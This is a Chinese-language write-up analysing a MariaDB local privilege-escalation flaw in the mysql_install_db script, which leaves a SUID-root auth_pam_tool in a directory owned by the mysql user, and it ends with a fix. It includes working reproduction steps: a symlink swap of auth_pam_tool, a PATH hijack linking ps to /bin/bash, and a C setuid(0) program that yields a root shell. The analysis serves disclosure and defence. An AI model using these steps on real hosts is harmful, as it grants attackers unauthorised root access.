mariadb (CVE--7221) 提权漏洞分析
作者:Evi1hui@QAX A-TEAM
原文链接:https://mp.weixin.qq.com/s/3PqYHGklnTb-5eWuNammWA
MariaDB是MySQL数据库系统的一个复刻,由社区开发,旨在继续保持在GNU GPL下开源。甲骨文公司收购了 MySQL 后,有将 MySQL 闭源的潜在风险,因此社区采用分支的方式来避开这个风险。MariaDB的目的是完全兼容MySQL,包括API和命令行,使之能轻松成为MySQL的代替品。近日,奇安信CERT在日常监测中从oss-security邮箱中监测到这枚MariaDB提权漏洞,经研判虽这个漏洞到达不了风险通告流程,但由于和监测到此漏洞比较有意思故有了下文展开分析。如有不足之处,欢迎批评指正。
根据oss-security邮件推送的上下文描述是在mysql_install_db脚本中配置不当导致的漏洞发生。
官方介绍:https://mariadb.com/kb/en/mysql_install_db/
根据官方描述,mysql_install_db用于初始化data数据目录,且在数据库中创建Mysql表。大概脚本是作为初始化数据等操作所使用。
docker环境搭建
- docker pull mariadb:10.4.8
- docker run -it 2ef19234ff46 /bin/bash
漏洞分析
首先定位漏洞点。
find / -name "mysql_install_db"
在bash脚本上下文中,如果$user被定义则能进入「配置不当」漏洞点。
chown $user "$pamtooldir/auth_pam_tool_dir"chmod 0700 "$pamtooldir/auth_pam_tool_dir"
这里配置了auth_pam_tool_dir目录的归属权和所有权,权限归属于$user。 (这里是可控点之一)
chown 0 "$pamtooldir/auth_pam_tool_dir/auth_pam_tool" chmod 04755 "$pamtooldir/auth_pam_tool_dir/auth_pam_tool"
这里配置了auth_pam_tool文件为0(root)所有权,4755文件权限(4为suid权限)。想要进入这个漏洞点需要$srcdir变量值长度为0才能触发。
关于suid属性:
SUID属性一般用在可执行文件上,当用户执行该文件时,会「临时拥有该执行文件的所有者权限」。一旦程序拥有SUID权限的话,运行该程序时会以最高权限运行。
回溯srcdir 与 user
- $user
在脚本传递args参数时可控制$user变量。
- $srcdir
也在初始化操作时可控制变量,初始化时为空。
那么想要进入这个漏洞点需要srcdir为空,user需要设置值。
结合上文描述使用此命令才能触发漏洞点:
./mysql_install_db --user=mysql
漏洞复现
寻找suid属性的程序
find /* -perm -u=s -type f 2>/dev/null
搜索到的suid属性程序「auth_pam_tool」替换成我们的恶意suid程序。
1. rm auth_pam_tool2. ln -s /root/pwn auth_pam_tool3. export PATH=.:$PATH4. ln -s /bin/bash ps
编写一个具有suid权限的恶意程序:
#include <unistd.h>#include <stdlib.h>int main(void){ setuid(0); setgid(0); system("ps"); return 0;}
切换回root,在root权限下运行mysql_install_db脚本(触发修改chmod命令)
再回到mysql用户权限下执行auth_pam_tool
提权成功。
可以看到这个漏洞是由于suid与目录权限设置不当,才导致被提权利用的风险。建议在修复中设置auth_pam_tool_dir目录权限为root所有:
root:mysql 0750 /usr/lib/mysql/plugin/auth_pam_tool_dir
参考文档:
以上是 mariadb (CVE--7221) 提权漏洞分析 的全部内容, 来源链接: utcz.com/p/199521.html